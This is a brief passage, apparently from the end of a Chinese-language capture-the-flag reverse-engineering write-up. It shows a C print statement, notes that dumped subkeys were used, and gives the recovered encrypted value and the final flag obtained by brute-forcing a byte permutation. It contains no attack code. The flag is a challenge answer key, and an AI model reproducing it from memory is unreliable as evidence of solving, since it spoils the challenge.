    printf("%s\n",flagenc);
}

其中skey为dump出来的子秘钥们=3=,最后拿到flagenc -> 8a40759596ae4d9148da62dd06baf7a4
爆破排列方法,解得到:flag{96ae4d91-7595-48da-8a40-62dd06baf7a4}